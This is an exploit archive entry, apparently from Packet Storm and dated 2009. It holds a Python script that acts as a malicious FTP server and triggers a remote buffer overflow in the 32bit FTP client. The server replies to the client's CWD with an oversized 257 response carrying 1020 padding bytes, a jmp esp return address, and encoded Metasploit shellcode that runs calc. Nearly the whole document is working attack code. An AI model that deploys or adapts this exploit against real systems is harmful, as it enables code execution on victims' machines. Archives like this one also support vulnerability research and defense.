32bit FTP CWD Buffer Overflow

2009-05-05T00:00:00
ID PACKETSTORM:77280
Type packetstorm
Reporter His0k4
Modified 2009-05-05T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
# _ _ _ __ _ _ _   
#| || | (_) ___ / \ | |__ | | |   
#| __ | | | (_-< | () | | / / |_ _|  
#|_||_| |_| /__/ \__/ |_\_\ |_|   
#  
#[*] Bug : 32bit FTP (09.04.24) (CWD response) Remote Buffer Overflow Exploit  
#[*] Refer : http://www.milw0rm.com/exploits/8611  
#[*] Tested on : Xp sp3 (EN)(VB)  
#[*] Exploited by : His0k4  
#[*] Greetings : All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com  
#[*] Serra7 Merra7 koulchi mderra7 :p  
  
from socket import *  
  
payload = "\x41"*1020  
payload += "\x67\x86\x86\x7C" # jmp esp kernel32.dll  
  
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
payload += (  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"  
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"  
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"  
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"  
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"  
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"  
"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"  
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"  
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"  
"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"  
"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"  
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"  
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"  
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"  
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"  
"\x4e\x56\x43\x36\x42\x30\x5a")  
  
s = socket(AF_INET, SOCK_STREAM)  
s.bind(("0.0.0.0", 21))  
s.listen(1)  
print "[+] Listening on [FTP] 21"  
c, addr = s.accept()  
  
print "[+] Connection accepted from: %s" % (addr[0])  
  
c.send("220 Hello\r\n")  
c.recv(1024)  
c.send("331 pwd please\r\n")  
c.recv(1024)  
c.send("230 OK\r\n")  
c.recv(1024)  
c.send("250 CWD command successful.\r\n")  
c.recv(1024)  
c.send("257 "+payload+" is current directory.")  
c.close()  
raw_input("[+] Done, press enter to quit")  
s.close()  
  
  
  
`